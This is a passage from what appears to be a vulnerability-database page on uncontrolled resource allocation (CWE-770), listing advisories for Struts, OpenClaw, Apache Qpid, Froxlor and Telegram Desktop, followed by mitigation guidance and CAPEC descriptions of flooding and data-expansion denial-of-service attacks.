"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4G42-GQRG-4633
Vulnerability from github – Published: 2023-06-14 09:30 – Updated: 2025-10-13 12:40Denial of service via out of memory (OOM) owing to no sanity limit on normal form fields in multipart forms. When a Multipart request has non-file normal form fields, Struts used to bring them into memory as Strings without checking their sizes. This could lead to an OOM if developer has set struts.multipart.maxSize to a value equal or greater than the available memory.
Upgrade to Struts 2.5.31 or 6.1.2.1 or greater
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.struts:struts2-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.struts:struts2-core"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.1.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.struts:struts-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.3.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "struts:struts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34396"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-14T20:16:52Z",
"nvd_published_at": "2023-06-14T08:15:09Z",
"severity": "HIGH"
},
"details": "Denial of service via out of memory (OOM) owing to no sanity limit on normal form fields in multipart forms. When a Multipart request has non-file normal form fields, Struts used to bring them into memory as Strings without checking their sizes. This could lead to an OOM if developer has set struts.multipart.maxSize to a value equal or greater than the available memory.\n\nUpgrade to Struts 2.5.31 or 6.1.2.1 or greater",
"id": "GHSA-4g42-gqrg-4633",
"modified": "2025-10-13T12:40:51Z",
"published": "2023-06-14T09:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34396"
},
{
"type": "WEB",
"url": "https://github.com/apache/struts/commit/2d6f1bc0a6f5ac575a56784ac6461816b67c4f21"
},
{
"type": "WEB",
"url": "https://cwiki.apache.org/confluence/display/WW/S2-064"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/struts"
},
{
"type": "WEB",
"url": "https://github.com/apache/struts/releases/tag/STRUTS_2_5_31"
},
{
"type": "WEB",
"url": "https://github.com/apache/struts/releases/tag/STRUTS_6_1_2_1"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230706-0005"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/06/14/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Struts vulnerable to memory exhaustion"
}
GHSA-4G5X-2JFC-XM98
Vulnerability from github – Published: 2026-04-07 18:10 – Updated: 2026-05-06 21:23Summary
Tlon media downloads can bypass core safety limits and exhaust disk
Current Maintainer Triage
- Status: narrow
- Normalized severity: low
- Assessment: Shipped v2026.3.28 Tlon media downloads bypassed core size/count/cleanup limits, but this is availability-only resource exhaustion in a bundled plugin path, so low.
Affected Packages / Versions
- Package:
openclaw(npm) - Latest published npm version:
2026.3.31 - Vulnerable version range:
<=2026.3.28 - Patched versions:
>= 2026.3.31 - First stable tag containing the fix:
v2026.3.31
Fix Commit(s)
2194587d70d2aef863508b945319c5a7c88b12ce— 2026-03-31T19:40:15+09:00
Release Process Note
- The fix is already present in released version
2026.3.31. - This draft looks ready for final maintainer disposition or publication, not additional code-fix work.
Thanks @AntAISecurityLab for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.3.28"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.31"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41408"
],
"database_specific": {
"cwe_ids": [
"CWE-434",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T18:10:41Z",
"nvd_published_at": "2026-04-28T19:37:44Z",
"severity": "MODERATE"
},
"details": "## Summary\nTlon media downloads can bypass core safety limits and exhaust disk\n\n## Current Maintainer Triage\n- Status: narrow\n- Normalized severity: low\n- Assessment: Shipped v2026.3.28 Tlon media downloads bypassed core size/count/cleanup limits, but this is availability-only resource exhaustion in a bundled plugin path, so low.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version: `2026.3.31`\n- Vulnerable version range: `\u003c=2026.3.28`\n- Patched versions: `\u003e= 2026.3.31`\n- First stable tag containing the fix: `v2026.3.31`\n\n## Fix Commit(s)\n- `2194587d70d2aef863508b945319c5a7c88b12ce` \u2014 2026-03-31T19:40:15+09:00\n\n## Release Process Note\n- The fix is already present in released version `2026.3.31`.\n- This draft looks ready for final maintainer disposition or publication, not additional code-fix work.\n\nThanks @AntAISecurityLab for reporting.",
"id": "GHSA-4g5x-2jfc-xm98",
"modified": "2026-05-06T21:23:08Z",
"published": "2026-04-07T18:10:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-4g5x-2jfc-xm98"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41408"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/2194587d70d2aef863508b945319c5a7c88b12ce"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-disk-exhaustion-via-media-download-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Tlon media downloads can bypass core safety limits and exhaust disk"
}
GHSA-4GHV-C34H-V2JX
Vulnerability from github – Published: 2026-08-05 09:31 – Updated: 2026-08-05 18:31It was not possible to govern the maximum number of transfer frames per incoming delivery, enabling an authenticated attacker to cause excessive resource usage and potential denial of service.
This issue affects Apache Qpid Broker-J: through 10.0.1.
Users are recommended to upgrade to version 10.1.0, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-68078"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T07:16:39Z",
"severity": "MODERATE"
},
"details": "It was not possible to govern the maximum number of transfer frames per incoming delivery, enabling an authenticated attacker to cause excessive resource usage and potential denial of service.\n\nThis issue affects Apache Qpid Broker-J: through 10.0.1.\n\nUsers are recommended to upgrade to version 10.1.0, which fixes the issue.",
"id": "GHSA-4ghv-c34h-v2jx",
"modified": "2026-08-05T18:31:30Z",
"published": "2026-08-05T09:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68078"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/m8gs6pfp1fmbgwcjr8zsgn95hfh15f8o"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/04/19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4GM9-C9JQ-G523
Vulnerability from github – Published: 2023-05-19 18:30 – Updated: 2023-05-19 23:46Froxlor prior to 2.0.16 has a password reset page with no rate limit.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "froxlor/froxlor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-2666"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-05-19T23:46:03Z",
"nvd_published_at": "2023-05-12T01:15:09Z",
"severity": "MODERATE"
},
"details": "Froxlor prior to 2.0.16 has a password reset page with no rate limit.",
"id": "GHSA-4gm9-c9jq-g523",
"modified": "2023-05-19T23:46:03Z",
"published": "2023-05-19T18:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2666"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/commit/1679675aa1c29d24344dd2e091ff252accb111d6"
},
{
"type": "PACKAGE",
"url": "https://github.com/froxlor/froxlor"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/0bbdc9d4-d9dc-4490-93ef-0a83b451a20f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Froxlor vulnerable to Allocation of Resources Without Limits or Throttling"
}
GHSA-4GQJ-V3RW-HWJG
Vulnerability from github – Published: 2026-01-16 00:30 – Updated: 2026-01-16 00:30Telegram Desktop 2.9.2 contains a denial of service vulnerability that allows attackers to crash the application by sending an oversized message payload. Attackers can generate a 9 million byte buffer and paste it into the messaging interface to trigger an application crash.
{
"affected": [],
"aliases": [
"CVE-2021-47793"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-16T00:16:23Z",
"severity": "MODERATE"
},
"details": "Telegram Desktop 2.9.2 contains a denial of service vulnerability that allows attackers to crash the application by sending an oversized message payload. Attackers can generate a 9 million byte buffer and paste it into the messaging interface to trigger an application crash.",
"id": "GHSA-4gqj-v3rw-hwjg",
"modified": "2026-01-16T00:30:55Z",
"published": "2026-01-16T00:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47793"
},
{
"type": "WEB",
"url": "https://telegram.org"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/50247"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/telegram-desktop-denial-of-service-poc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4GQP-3M3H-RRX3
Vulnerability from github – Published: 2026-08-05 09:31 – Updated: 2026-08-05 18:31It was not possible to govern the maximum number of transfer frames per incoming delivery, enabling an authenticated attacker to cause excessive resource usage and potential denial of service.
This issue affects Apache Qpid ProtonJ2: through 1.1.0.
Users are recommended to upgrade to version 1.2.0, which fixes the issue
{
"affected": [],
"aliases": [
"CVE-2026-67592"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T07:16:38Z",
"severity": "HIGH"
},
"details": "It was not possible to govern the maximum number of transfer frames per incoming delivery, enabling an authenticated attacker to cause excessive resource usage and potential denial of service.\n\nThis issue affects Apache Qpid ProtonJ2: through 1.1.0.\n\nUsers are recommended to upgrade to version 1.2.0, which fixes the issue",
"id": "GHSA-4gqp-3m3h-rrx3",
"modified": "2026-08-05T18:31:30Z",
"published": "2026-08-05T09:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67592"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/b4pv9hfdk7ox78pss77sb4nzwjrvqhhz"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/04/31"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.